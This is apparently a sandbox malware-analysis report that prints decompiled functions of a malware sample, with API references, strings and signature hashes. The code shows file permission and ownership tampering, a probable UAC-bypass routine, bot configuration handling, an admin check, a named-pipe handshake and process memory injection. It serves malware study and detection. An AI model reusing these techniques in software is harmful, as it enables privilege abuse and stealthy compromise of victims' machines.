				void* _t155;
				void* _t156;

				_t141 = 0;
				_v28 = 0;
				_v20 = 0;
				_v36 = 0x80;
				if(GetUserNameA( &_v384,  &_v36) == 0) {
					L42:
					return _v28;
				}
				_v32 = 0x44;
				_v40 = 0x80;
				if(LookupAccountNameA(0,  &_v384,  &_v128,  &_v32,  &_v512,  &_v40,  &_v56) == 0) {
					goto L42;
				}
				_v32 = GetLengthSid( &_v128);
				_v44 = 0x400;
				if(GetFileSecurityA(_a4, 5,  &_v1536, 0x400,  &_v44) == 0) {
					goto L42;
				} else {
					if(GetSecurityDescriptorOwner( &_v1536,  &_v16,  &_v48) != 0) {
						_v36 = 0x80;
						_v40 = 0x80;
						if(EqualSid( &_v128, _v16) == 0) {
							_v28 = 1;
							_t155 = LocalAlloc(0x40, 0x14);
							if(_t155 != 0) {
								LocalFree(_t155);
							}
						}
					}
					_v24 = _t141;
					if(GetSecurityDescriptorDacl( &_v1536,  &_v60,  &_v20,  &_v52) == 0) {
						L41:
						goto L42;
					}
					_t110 = _v20;
					if(_t110 == _t141) {
						goto L41;
					}
					_v8 = _v8 & _t141;
					if(0 >= _t110->AceCount) {
						goto L41;
					} else {
						goto L13;
					}
					do {
						L13:
						if(GetAce(_t110, _v8,  &_v12) == 0) {
							L32:
							_v8 = _v8 + 1;
							goto L33;
						}
						_t153 = 0;
						_v16 = _v12 + 8;
						if(_t141 <= 0) {
							L19:
							if(_t141 < 0x20) {
								 *((intOrPtr*)(_t156 + _t141 * 4 - 0xfc)) = _v16;
								_t141 = _t141 + 1;
							}
							_t120 = EqualSid( &_v128, _v16);
							_t146 = _v12;
							if(_t120 == 0) {
								_t121 = 0x1200a8;
							} else {
								asm("sbb eax, eax");
								_t121 = ( ~_a8 & 0x00090046) + 0x1601b9;
							}
							if( *((intOrPtr*)(_t146 + 4)) != _t121) {
								 *((intOrPtr*)(_t146 + 4)) = _t121;
								_t146 = _v12;
								_v24 = 1;
							}
							if( *_t146 != 0 || ( *(_t146 + 1) & 0x00000010) != 0) {
								 *_t146 = 0;
								_t66 = _v16 + 8; // 0xc8685f74
								_t123 =  *_t66;
								if(_t123 != 0) {
									 *((char*)(_v12 + 1)) = (_t123 & 0xffffff00 | _t123 - 0x00000050 > 0x00000000) + 2;
								} else {
									 *((char*)(_v12 + 1)) = 0xb;
								}
								_v24 = 1;
							}
							goto L32;
						}
						while(EqualSid( *(_t156 + _t153 * 4 - 0xfc), _v16) == 0) {
							_t153 = _t153 + 1;
							if(_t153 < _t141) {
								continue;
							}
							break;
						}
						if(_t153 >= _t141) {
							goto L19;
						}
						DeleteAce(_v20, _v8);
						_v24 = 1;
						L33:
						_t110 = _v20;
					} while (_v8 < (_t110->AceCount & 0x0000ffff));
					if(_v24 != 0) {
						_v28 = 1;
						_t154 = LocalAlloc(0x40, 0x14);
						if(_t154 != 0) {
							if(InitializeSecurityDescriptor(_t154, 1) != 0 && SetSecurityDescriptorDacl(_t154, 1, _v20, 0) != 0 && SetFileSecurityA(_a4, 4, _t154) != 0) {
								_v28 = 1;
							}
							LocalFree(_t154);
						}
					}
					goto L41;
				}
			}

0x0040781e
0x00407826
0x00407829
0x0040782c
0x00407837
0x00407a8e
0x00407a94
0x00407a94
0x0040785c
0x00407863
0x0040786e
0x00000000
0x00000000
0x0040787e
0x0040788b
0x004078a2
0x00000000
0x004078a8
0x004078c3
0x004078cc
0x004078cf
0x004078da
0x004078e0
0x004078e9
0x004078ed
0x00407917
0x00407917
0x004078ed
0x004078da
0x00407930
0x0040793b
0x00407a8d
0x00000000
0x00407a8d
0x00407941
0x00407946
0x00000000
0x00000000
0x0040794c
0x00407955
0x00000000
0x00000000
0x00000000
0x00000000
0x0040795b
0x0040795b
0x0040796b
0x00407a2a
0x00407a2a
0x00000000
0x00407a2a
0x00407977
0x00407979
0x0040797e
0x004079ae
0x004079b1
0x004079b6
0x004079bd
0x004079bd
0x004079c5
0x004079cb
0x004079d0
0x004079e5
0x004079d2
0x004079d7
0x004079de
0x004079de
0x004079ed
0x004079ef
0x004079f2
0x004079f5
0x004079f5
0x004079fb
0x00407a03
0x00407a09
0x00407a09
0x00407a0e
0x00407a24
0x00407a10
0x00407a13
0x00407a13
0x00407a27
0x00407a27
0x00000000
0x004079fb
0x00407980
0x00407994
0x00407997
0x00000000
0x00000000
0x00000000
0x00407997
0x0040799b
0x00000000
0x00000000
0x004079a3
0x004079a9
0x00407a2d
0x00407a2d
0x00407a34
0x00407a41
0x00407a47
0x00407a50
0x00407a54
0x00407a60
0x00407a83
0x00407a83
0x00407a87
0x00407a87
0x00407a54
0x00000000
0x00407a41

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0040782F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00407866
GetLengthSid.ADVAPI32(?), ref: 00407878
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 0040789A
GetSecurityDescriptorOwner.ADVAPI32(?,00407F63,?), ref: 004078B8
EqualSid.ADVAPI32(?,00407F63), ref: 004078D2
LocalAlloc.KERNEL32(00000040,00000014), ref: 004078E3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 004078F1
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407901
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 00407910
LocalFree.KERNEL32(00000000), ref: 00407917
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00407933
GetAce.ADVAPI32(?,00000000,?), ref: 00407963
EqualSid.ADVAPI32(?,00407F63), ref: 0040798A
DeleteAce.ADVAPI32(?,00000000), ref: 004079A3
EqualSid.ADVAPI32(?,00407F63), ref: 004079C5
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407A4A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407A58
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00407A69
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 00407A79
LocalFree.KERNEL32(00000000), ref: 00407A87

Strings

D, xrefs: 0040785C

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: df0c13f2d89176358eaf39038022480abc221899387876bf5e0f356ce13a0778
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: 59813C71E04119ABDB11CFA5DD44FEFBBB8AB08340F14817AE505F6290D739AA41CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 30.2, APIs: 9, Strings: 8, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 0040139A
lstrlenW.KERNEL32(-00000003), ref: 00401571

Strings

wusa.exe, xrefs: 00401388
uac, xrefs: 00401628
%systemroot%\system32\cmd.exe, xrefs: 00401316
<, xrefs: 00401378
useless, xrefs: 0040161E
D, xrefs: 004015C6
, xrefs: 00401462
@, xrefs: 00401380

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $%systemroot%\system32\cmd.exe$<$@$D$uac$useless$wusa.exe
API String ID: 1628651668-1839596206
Opcode ID: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction ID: 915494465e6448ea0d8334ed2feda226c725056e28db06d0983f622db304c09c
Opcode Fuzzy Hash: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction Fuzzy Hash: E5F19FB55083419FD720DF64C888BABB7E5FB88304F10892EF596A73A0D778D944CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401D96, Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 205
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00401D96(void* __ecx, intOrPtr* _a4) {
				struct _OSVERSIONINFOA _v156;
				struct _SYSTEM_INFO _v192;
				char _v196;
				intOrPtr _v200;
				intOrPtr _t59;
				signed int _t61;
				signed int _t63;
				void* _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				signed int _t71;
				intOrPtr _t93;
				intOrPtr _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				intOrPtr* _t103;
				intOrPtr* _t105;
				void* _t109;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				void* _t114;

				_t105 = _a4;
				_t102 = 0x64;
				E0040EE2A(__ecx, _t105, 0, _t102);
				_t109 =  &_v200 + 0xc;
				 *_t105 = _t102;
				_v156.dwOSVersionInfoSize = 0x9c;
				if(GetVersionExA( &_v156) == 0) {
					 *((char*)(_t105 + 0x41)) = 0;
				} else {
					 *((char*)(_t105 + 0x41)) = (_v156.dwMajorVersion << 4) + _v156.dwMinorVersion;
				}
				GetSystemInfo( &_v192);
				 *((char*)(_t105 + 0x3f)) = _v192.dwNumberOfProcessors;
				_v196 = 0;
				_t103 = GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
				if(_t103 != 0) {
					 *_t103(GetCurrentProcess(),  &_v196);
				}
				_t104 = "localcfg";
				 *((char*)(_t105 + 0x40)) = 2;
				_t59 = E0040E819(1, "localcfg", "lid_file_upd", 0);
				_t92 = "flags_upd";
				 *((intOrPtr*)(_t105 + 0x24)) = _t59;
				 *(_t105 + 4) =  *(_t105 + 4) | E0040E819(1, "localcfg", "flags_upd", 0);
				_t61 =  *(_t105 + 4);
				_t110 = _t109 + 0x20;
				if((_t61 & 0x00000008) != 0) {
					 *(_t105 + 4) = _t61 & 0xfffffff7;
					E0040DF70(1, "work_srv");
					E0040DF70(1, "start_srv");
					_t110 = _t110 + 0x10;
				}
				E0040EA84(1, _t104, _t92, 0);
				_t93 = 0;
				_t63 = E0040E819(1, _t104, "net_type", 0);
				_t111 = _t110 + 0x20;
				 *(_t105 + 0x14) = _t63;
				if(E0040199C(_t63) == 0) {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000010;
				} else {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000020;
				}
				_t65 = E0040E819(1, _t104, "born_date", _t93);
				_t112 = _t111 + 0x10;
				 *((intOrPtr*)(_t105 + 0x30)) = _t93;
				if(_t65 == _t93) {
					_t97 = E0040F04E(_t93);
					E0040EA84(1, _t104, "born_date", _t97);
					_t112 = _t112 + 0x14;
					 *((intOrPtr*)(_t105 + 0x30)) = _t97;
					_t93 = 0;
				}
				_t94 = "id";
				_t66 = E0040E819(1, _t104, "id", _t93);
				_t113 = _t112 + 0x10;
				 *((intOrPtr*)(_t105 + 0xc)) = _t66;
				if(_t66 == 0) {
					_v200 = E00401B71();
					E0040EA84(1, _t104, _t94, _t77);
					_t113 = _t113 + 0x10;
					 *((intOrPtr*)(_t105 + 0xc)) = _v200;
				}
				_t95 = "hi_id";
				_t67 = E0040E819(1, _t104, "hi_id", 0);
				_t114 = _t113 + 0x10;
				 *((intOrPtr*)(_t105 + 0x10)) = _t67;
				if(_t67 == 0) {
					_v200 = E00401BDF();
					E0040EA84(1, _t104, _t95, _t74);
					_t114 = _t114 + 0x10;
					 *((intOrPtr*)(_t105 + 0x10)) = _v200;
				}
				 *((intOrPtr*)(_t105 + 8)) = 0x61;
				_t96 = E0040E819(1, _t104, "loader_id", 0);
				if(_t96 == 0) {
					_t96 = 8;
					E0040EA84(1, _t104, "loader_id", _t96);
				}
				 *((intOrPtr*)(_t105 + 0x1c)) = _t96;
				 *((intOrPtr*)(_t105 + 0x34)) = E004030B5();
				if( *0x41201d == 0) {
					if( *0x41201f == 0) {
						 *(_t105 + 0x18) =  *(_t105 + 0x18) & 0x00000000;
					} else {
						if(E00406EC3() != 0) {
							 *(_t105 + 0x18) = 2;
						} else {
							 *(_t105 + 0x18) = 0x10;
						}
					}
				} else {
					 *(_t105 + 0x18) = 1;
				}
				if(_v196 != 0) {
					 *(_t105 + 0x18) =  *(_t105 + 0x18) | 0x00000200;
				}
				_t71 = GetTickCount() / 0x3e8;
				 *0x412110 = _t71;
				 *(_t105 + 0x28) = _t71;
				return _t71;
			}

0x00401d9f
0x00401da9
0x00401daf
0x00401db4
0x00401dbc
0x00401dbe
0x00401dce
0x00401de0
0x00401dd0
0x00401ddb
0x00401ddb
0x00401de8
0x00401dfc
0x00401dff
0x00401e10
0x00401e14
0x00401e22
0x00401e22
0x00401e2a
0x00401e34
0x00401e38
0x00401e3e
0x00401e46
0x00401e4e
0x00401e51
0x00401e54
0x00401e59
0x00401e64
0x00401e67
0x00401e72
0x00401e77
0x00401e77
0x00401e7f
0x00401e84
0x00401e8e
0x00401e93
0x00401e96
0x00401ea0
0x00401ea8
0x00401ea2
0x00401ea2
0x00401ea2
0x00401eb4
0x00401eb9
0x00401ebc
0x00401ec1
0x00401ec9
0x00401ed3
0x00401ed8
0x00401edb
0x00401ede
0x00401ede
0x00401ee1
0x00401ee9
0x00401eee
0x00401ef1
0x00401ef6
0x00401f01
0x00401f05
0x00401f0e
0x00401f11
0x00401f11
0x00401f16
0x00401f1e
0x00401f23
0x00401f26
0x00401f2b
0x00401f36
0x00401f3a
0x00401f43
0x00401f46
0x00401f46
0x00401f52
0x00401f5e
0x00401f65
0x00401f69
0x00401f72
0x00401f77
0x00401f7a
0x00401f82
0x00401f8c
0x00401f9a
0x00401fb7
0x00401f9c
0x00401fa3
0x00401fae
0x00401fa5
0x00401fa5
0x00401fa5
0x00401fa3
0x00401f8e
0x00401f8e
0x00401f8e
0x00401fc0
0x00401fc2
0x00401fc2
0x00401fd6
0x00401fd9
0x00401fde
0x00401fea

APIs

GetVersionExA.KERNEL32 ref: 00401DC6
GetSystemInfo.KERNEL32(?), ref: 00401DE8
GetModuleHandleA.KERNEL32(kernel32,IsWow64Process), ref: 00401E03
GetProcAddress.KERNEL32(00000000), ref: 00401E0A
GetCurrentProcess.KERNEL32(?), ref: 00401E1B
GetTickCount.KERNEL32 ref: 00401FC9

Part of subcall function 00401BDF: GetComputerNameA.KERNEL32 ref: 00401C15

Strings

flags_upd, xrefs: 00401E3E, 00401E43, 00401E7C
lid_file_upd, xrefs: 00401E25
born_date, xrefs: 00401EAD, 00401ECC
localcfg, xrefs: 00401E2A, 00401E31, 00401E44, 00401E7D, 00401E8C, 00401EB2, 00401ED1, 00401EE7, 00401EFF, 00401F1C, 00401F34, 00401F50, 00401F70
start_srv, xrefs: 00401E6C
loader_id, xrefs: 00401F4B, 00401F6B
IsWow64Process, xrefs: 00401DF2
kernel32, xrefs: 00401DF7
net_type, xrefs: 00401E87
work_srv, xrefs: 00401E5E
hi_id, xrefs: 00401F16, 00401F1B, 00401F33

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: IsWow64Process$born_date$flags_upd$hi_id$kernel32$lid_file_upd$loader_id$localcfg$net_type$start_srv$work_srv
API String ID: 4207808166-1381319158
Opcode ID: 52000fdd36173797c6d9852f05b2f7d3bbe79e14d00c0f3373a6a06b26d807cb
Instruction ID: 54c1e59e0de162fea3d0b4a588507db8dabc792a1e082174f42e6dfe58141249
Opcode Fuzzy Hash: 52000fdd36173797c6d9852f05b2f7d3bbe79e14d00c0f3373a6a06b26d807cb
Instruction Fuzzy Hash: 3651FA705003446FD330AF768C85F67BAECEB84708F00493FF955A2292D7BDA94487A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040405E, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040405E(void* __ecx) {
				unsigned int _v8;
				unsigned int _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v40;
				void* _t40;
				void* _t43;
				void* _t49;
				void* _t56;
				void* _t62;
				void* _t64;
				long _t71;
				void* _t82;
				void* _t92;
				void* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t104;

				_t95 = __ecx;
				_v8 = 0;
				_t40 = CreateEventA(0, 1, 1, 0);
				_v16 = _t40;
				if(_t40 != 0) {
					_t43 = E00404000(E00403ECD(_t95),  &_v20);
					_t97 = _t98;
					_t102 = 0x7d0;
					_t92 = 0x100;
					_t99 = 0x4122f8;
					if(_t43 == 0) {
						L10:
						E0040EE2A(_t97, _t99, 0, _t92);
						_t104 = _t103 + 0xc;
						_t93 = 0xa;
						while(1) {
							_t93 = _t93 - 1;
							_t99 = CreateNamedPipeA(E00403ECD(_t97), 0x40000003, 0, 0xff, 0x64, 0x64, 0x64, 0);
							if(_t99 != 0xffffffff) {
								break;
							}
							Sleep(0x1f4);
							if(_t93 != 0) {
								continue;
							}
							CloseHandle(_v16);
							return 0;
						}
						L14:
						while(1) {
							do {
								L14:
								while(1) {
									do {
										if(ConnectNamedPipe(_t99, 0) != 0) {
											goto L16;
										}
										_t71 = GetLastError();
										asm("sbb eax, eax");
										if( ~(_t71 - 0x217) + 1 == 0) {
											L25:
											DisconnectNamedPipe(_t99);
											continue;
										}
										L16:
										_t49 = E00403F8C(_t99,  &_v12, 4, _v16, _t102);
										_t104 = _t104 + 0x14;
									} while (_t49 == 0);
									_t92 = _v16;
									_v8 = (_v12 >> 2) + _v12;
									E00403F18(_t99,  &_v8, 4, _t92, _t102);
									_t56 = E00403F8C(_t99,  &_v12, 4, _t92, _t102);
									_t104 = _t104 + 0x28;
									if(_t56 == 0 || _v12 != (_v8 >> 2) + _v8) {
										goto L25;
									} else {
										_t62 = E00403F8C(_t99,  &_v28, 8, _t92, _t102);
										_t104 = _t104 + 0x14;
										if(_t62 == 0 || _v24 != 0xc) {
											goto L25;
										} else {
											_t64 = E00403F8C(_t99,  &_v40, 0xc, _t92, _t102);
											_t104 = _t104 + 0x14;
											if(_t64 == 0) {
												goto L25;
											}
											break;
										}
									}
								}
							} while (_v28 != 1);
							E00403F18(_t99,  &_v8, 4, _t92, _t102);
							_t103 = _t104 + 0x14;
							if(_v32 == 0) {
								_t102 = CloseHandle;
								CloseHandle(_t99);
								CloseHandle(_t92);
								E0040E318();
								L8:
								ExitProcess(0);
							}
							 *0x41215a =  *0x41215a + 1;
						}
					}
					E0040EE2A(_t97, 0x4122f8, 0, 0x100);
					_t103 = _t103 + 0xc;
					if(_v20 == 0xffffffff) {
						goto L10;
					}
					_v12 = E0040ECA5();
					E00403F18(_v20,  &_v12, 4, _v16, 0x7d0);
					_t82 = E00403F8C(_v20,  &_v8, 4, _v16, 0x7d0);
					_t103 = _t103 + 0x28;
					if(_t82 == 0 || _v8 != (_v12 >> 2) + _v12) {
						CloseHandle(_v20);
						goto L10;
					} else {
						_v8 = _v8 + (_v8 >> 2);
						E00403F18(_v20,  &_v8, 4, _v16, 0x7d0);
						_t103 = _t103 + 0x14;
						goto L8;
					}
				}
				return 0;
			}

0x0040405e
0x0040406d
0x00404070
0x00404076
0x0040407b
0x00404090
0x00404096
0x00404097
0x0040409c
0x004040a1
0x004040a8
0x00404130
0x00404134
0x00404139
0x0040413e
0x0040413f
0x00404153
0x00404160
0x00404165
0x00000000
0x00000000
0x0040416c
0x00404174
0x00000000
0x00000000
0x00404179
0x00000000
0x00404182
0x00000000
0x00404188
0x00404188
0x00000000
0x00404188
0x00404188
0x00404193
0x00000000
0x00000000
0x00404195
0x004041a2
0x004041a5
0x0040425e
0x0040425f
0x00000000
0x0040425f
0x004041ab
0x004041b6
0x004041bb
0x004041be
0x004041c5
0x004041d0
0x004041da
0x004041e8
0x004041ed
0x004041f2
0x00000000
0x00404202
0x0040420b
0x00404210
0x00404215
0x00000000
0x0040421d
0x00404226
0x0040422b
0x00404230
0x00000000
0x00000000
0x00000000
0x00404230
0x00404215
0x004041f2
0x00404232
0x00404245
0x0040424a
0x00404251
0x0040426a
0x00404271
0x00404274
0x00404276
0x0040411f
0x00404121
0x00404121
0x00404253
0x00404253
0x00404188
0x004040b2
0x004040b7
0x004040be
0x00000000
0x00000000
0x004040c9
0x004040d5
0x004040e7
0x004040ec
0x004040f1
0x0040412a
0x00000000
0x00404101
0x0040410b
0x00404117
0x0040411c
0x00000000
0x0040411c
0x004040f1
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 00404070
ExitProcess.KERNEL32 ref: 00404121

Strings

PromptOnSecureDesktop, xrefs: 004040A1, 004040B1, 00404133

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: CreateEventExitProcess
String ID: PromptOnSecureDesktop
API String ID: 2404124870-2980165447
Opcode ID: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction ID: 074d9bb49edb1fcb374f0917b5464843becdd4ef2bd88426a03fabb40598a920
Opcode Fuzzy Hash: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction Fuzzy Hash: 3C5192B1E00209BAEB10ABA19D45FFF7A7CEB54755F00007AFB04B61C1E7798A41C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 00406EDD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406EDD() {
				int _v8;
				void* _v12;
				short _v16;
				struct _SID_IDENTIFIER_AUTHORITY _v20;
				signed int _t12;
				int _t15;
				int* _t16;

				_t12 =  *0x412048; // 0x0
				if(_t12 < 0) {
					_v20.Value = 0;
					_v16 = 0x500;
					_t15 = AllocateAndInitializeSid( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
					_v8 = _t15;
					if(_t15 != 0) {
						_t6 =  &_v8; // 0x40702a
						_t16 = _t6;
						__imp__CheckTokenMembership(0, _v12, _t16);
						if(_t16 != 0) {
							 *0x412048 = 0 | _v8 == 0x00000000;
						}
						FreeSid(_v12);
					}
					_t12 =  *0x412048; // 0x0
					if(_t12 != 0) {
						_t12 = E00406E36(0x12, 0);
						 *0x412048 = _t12;
					}
				}
				return _t12;
			}

0x00406ee0
0x00406eed
0x00406f06
0x00406f09
0x00406f0f
0x00406f15
0x00406f1a
0x00406f1c
0x00406f1c
0x00406f24
0x00406f2c
0x00406f36
0x00406f36
0x00406f3e
0x00406f3e
0x00406f44
0x00406f4b
0x00406f50
0x00406f57
0x00406f57
0x00406f4b
0x00406f5e

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00406F0F
CheckTokenMembership.ADVAPI32(00000000,?,*p@), ref: 00406F24
FreeSid.ADVAPI32(?), ref: 00406F3E

Strings

*p@, xrefs: 00406F1C, 00406F1F

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID: *p@
API String ID: 3429775523-2474123842
Opcode ID: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction ID: a55d58a6849641b9de595c9770ce5785232f8714219103e6702645194e06a02f
Opcode Fuzzy Hash: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction Fuzzy Hash: 6701E571904209AFDB10DFE4ED85AAE7BB8F708304F50847AE606E2191D7745A54CB18

Uniqueness

Uniqueness Score: -1.00%

Function 0040637C, Relevance: 6.1, APIs: 4, Instructions: 67
memoryinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040637C(intOrPtr _a4, void* _a8, intOrPtr* _a12, void** _a16) {
				void* _v8;
				void* _t15;
				void* _t16;
				long _t26;
				struct HINSTANCE__* _t32;
				void* _t37;

				if(_a8 != 0) {
					_t32 = GetModuleHandleA(0);
					_t26 =  *( *((intOrPtr*)(_t32 + 0x3c)) + _t32 + 0x50);
					_t15 = VirtualAlloc(0, _t26, 0x1000, 4);
					_v8 = _t15;
					if(_t15 == 0) {
						L5:
						_t16 = 0;
					} else {
						E0040EE08(_t15, _t32, _t26);
						_t37 = VirtualAllocEx(_a8, 0, _t26, 0x1000, 0x40);
						if(_t37 == 0) {
							goto L5;
						} else {
							E004062B7(_v8, _t37);
							if(WriteProcessMemory(_a8, _t37, _v8, _t26, 0) != 0) {
								 *_a16 = _t37;
								 *_a12 = _t37 - _t32 + _a4;
								_t16 = 1;
							} else {
								goto L5;
							}
						}
					}
					return _t16;
				} else {
					return 0;
				}
			}

0x00406384
0x00406395
0x0040639a
0x004063a9
0x004063af
0x004063b4
0x004063f5
0x004063f5
0x004063b6
0x004063b9
0x004063d0
0x004063d4
0x00000000
0x004063d6
0x004063da
0x004063f3
0x004063fc
0x00406406
0x0040640a
0x00000000
0x00000000
0x00000000
0x004063f3
0x004063d4
0x0040640f
0x00406386
0x00406389
0x00406389

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,?,?,00409816,?), ref: 0040638F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,00409816,?), ref: 004063A9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 004063CA
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 004063EB

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction ID: 5c31eb3238d54f8d6ca6dd7d72ba58cabd3ec10295ac0618dae15ec7b9dc1832
Opcode Fuzzy Hash: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction Fuzzy Hash: B911A3B1600219BFEB119F65DC49F9B3FA8EB047A4F114035FD09E7290D775DC108AA8

Uniqueness

Uniqueness Score: -1.00%

Function 022B65CC, Relevance: 6.1, APIs: 4, Instructions: 67memoryinjectionCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 022B65DF
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 022B65F9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 022B661A
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 022B663B

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction ID: 4b862927790221afe4f18b01a8e98f83b900d425ca139e9330e216ce387131b5
Opcode Fuzzy Hash: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction Fuzzy Hash: E3119171610219BFDB224FB5DC49FEB3FACEF047A9F004024FA08A6294D7B1DD008AA4

Uniqueness

Uniqueness Score: -1.00%

Function 00408E26, Relevance: 4.6, APIs: 3, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00408E26(void* __ecx, void* __edx, long _a4, void* _a8, long _a12, void* _a16, long _a20, DWORD* _a24) {
				char _v12;
				int _t13;
				DWORD* _t14;
				int _t15;
				void* _t20;
				void* _t23;

				_t22 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t20 = CreateFileW(E00402508(0x4129f8,  &E0041076C, 0xe, 0xec64, 0x7bac), 0xc0000000, 0, 0, 2, 0x80, 0);
				E0040EE2A(_t22, 0x4129f8, 0, 0x200);
				if(_t20 == 0xffffffff) {
					_t13 = 0;
				} else {
					_t23 = _a8;
					if(_t23 == 0) {
						E00408DF1( &_v12);
						_t23 =  &_v12;
						_a12 = 8;
					}
					_t14 = _a24;
					 *_t14 = 0;
					_t15 = DeviceIoControl(_t20, _a4, _t23, _a12, _a16, _a20, _t14, 0);
					CloseHandle(_t20);
					_t13 = _t15;
				}
				return _t13;
			}

